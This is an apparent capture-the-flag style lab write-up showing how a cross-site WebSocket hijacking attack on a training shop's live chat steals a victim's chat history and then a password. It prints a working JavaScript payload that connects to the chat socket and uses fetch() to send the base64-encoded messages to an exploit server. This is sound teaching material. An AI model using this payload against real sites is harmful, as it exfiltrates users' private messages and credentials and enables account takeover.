search

Cross site WebSocket hijacking

hashtag
Description

This online shop has a live chat feature implemented using WebSocketsarrow-up-right.

To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attackarrow-up-right to exfiltrate the victim's chat history, then use this gain access to their account.

hashtag
Approach

After accessing the lab, I enabled the FoxyProxy extension to intercept all requests through Burp Suite. Noticing that a READY command is sent to the WebSocket after connection, which retrieves all previous messages, I realized this could be used to get the victim's chat history.

To achieve this, I crafted an exploit page that, when visited by the victim, connects to the WebSocket chat endpoint, sends the READY command, and then sends the received data to my exploit server. Here is the script I used:

<script>
    var ws = new WebSocket('wss://0a6300c10420b1d981933138009d00ee.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://exploit-0af7006d044d8ab080e0cf5a01240041.exploit-server.net/exploit?recieved_data='+btoa(event.data));
    };
</script>

This script connects the victim to the WebSocket, sends the READY command, and sends the received data, base64 encoded, to my exploit server.

After clicking Store and Deliver exploit to victim, I checked the logs on my exploit server and found multiple requests with base64 encoded data:

Decoding the base64 data in Burp's decoder provided the following chat history:

Using the password from the chat history, I logged in as Carlos, solving the lab.

PreviousManipulating WebSocket messages to exploit vulnerabilitiesNextManipulating the WebSocket handshake to exploit vulnerabilities